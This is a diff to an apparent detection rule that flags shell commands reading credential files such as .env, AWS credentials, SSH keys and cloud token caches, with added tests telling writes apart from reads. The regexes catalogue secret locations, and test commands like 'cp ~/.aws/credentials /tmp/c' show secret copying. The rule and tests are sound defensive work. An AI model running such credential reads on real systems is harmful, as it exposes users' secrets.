- (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|tar|zip)\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?cp\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)['\"]?\\s+[^\\s;&|<>]") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|>\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))")) && !e.command.command.matches("(?i)^\\s*cp\\s+(-\\S+\\s+)*['\"]?[^\\s;&|'\"]*\\.env\\.(example|sample|template|dist)['\"]?\\s+['\"]?[^\\s;&|'\"]*\\.env['\"]?\\s*$")
)
emit:
@@ -190,3 +190,57 @@ tests:
- event: { action: command.executed }
command: { command: "jq .auths ~/.docker/config.json" }
session: { id: s1 }
+ - name: heredoc_write_dotenv_not_read
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "cat > .env <<'EOF'\nAPI_KEY=changeme\nEOF" }
+ session: { id: s1 }
+ - name: heredoc_append_npmrc_not_read
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "cat >> ~/.npmrc <<EOF\n//registry.npmjs.org/:_authToken=${NPM_TOKEN}\nEOF" }
+ session: { id: s1 }
+ - name: heredoc_write_docker_config_not_read
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "cat > ~/.docker/config.json <<EOF\n{}\nEOF" }
+ session: { id: s1 }
+ - name: heredoc_redirect_after_delimiter_not_read
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "cat <<EOF > .env\nPORT=3000\nEOF" }
+ session: { id: s1 }
+ - name: cp_template_to_dotenv_not_read
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "cp .env.example .env" }
+ session: { id: s1 }
+ - name: cp_into_ssh_key_not_read
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "cp /tmp/deploy_key ~/.ssh/id_ed25519" }
+ session: { id: s1 }
+ - name: cp_secret_out_is_read
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "cp ~/.aws/credentials /tmp/c" }
+ session: { id: s1 }
+ - name: cat_dotenv_redirected_out_is_read
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "cat .env > /tmp/out" }
+ session: { id: s1 }
+ - name: cp_template_then_cat_is_read
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "cp .env.example .env && cat .env" }
+ session: { id: s1 }